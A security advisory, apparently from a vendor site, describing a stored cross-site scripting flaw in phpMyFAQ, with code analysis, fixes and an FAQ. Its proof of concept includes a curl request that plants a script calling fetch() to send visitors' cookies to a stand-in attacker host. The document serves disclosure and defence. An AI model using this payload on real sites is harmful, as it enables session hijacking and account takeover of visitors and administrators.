CVE-2026-46363

The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes, not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create, FaqController.php):

At line 120, the answer content is filtered:

$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:

->setAnswer(Filter::removeAttributes(html_entity_decode(
    (string) $content,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ

curl -X POST 'https://target/admin/api/faq/create' \
  -H 'Cookie: PHPSESSID=<admin_session>' \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "Harmless FAQ Title",
      "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
      "categories[]": 1,
      "lang": "en",
      "tags": "",
      "active": "yes",
      "sticky": "no",
      "keywords": "test",
      "author": "Admin",
      "email": "[email protected]",
      "comment": "n",
      "changed": "Initial",
      "notes": "",
      "serpTitle": "Harmless FAQ",
      "serpDescription": "Test",
      "openQuestionId": 0,
      "notifyEmail": "",
      "notifyUser": "",
      "recordDateHandling": "updateDate"
    }
  }'

Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

• Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
• Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
• Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
• Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-46363 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix, add tag-level filtering to removeAttributes() (Filter.php):

public static function removeAttributes(string $html = ''): string
{
    // Strip dangerous HTML tags entirely
    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
    foreach ($dangerousTags as $tag) {
        $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
        $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
    }

    // Also sanitize javascript: URIs in href/src attributes
    $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);

    $keep = [
        'href', 'src', 'title', 'alt', 'class', 'style', 'id',
        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
        'height', 'controls',
    ];
    // ... rest of existing attribute removal logic

Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig())
    ->allowSafeElements()
    ->blockElement('script')
    ->blockElement('iframe')
    ->blockElement('object')
    ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);

1. What is CVE-2026-46363? CVE-2026-46363 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-46363? CVE-2026-46363 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-46363?
   • phpmyfaq/phpmyfaq (composer) (versions <= 4.1.1)
   • thorsten/phpmyfaq (composer) (versions <= 4.1.1)
4. Is there a fix for CVE-2026-46363? Yes. CVE-2026-46363 is fixed in 4.1.2. Upgrade to this version or later.
5. Is CVE-2026-46363 exploitable, and should I be worried? Whether CVE-2026-46363 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46363 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46363?
   • Upgrade phpmyfaq/phpmyfaq to 4.1.2 or later
   • Upgrade thorsten/phpmyfaq to 4.1.2 or later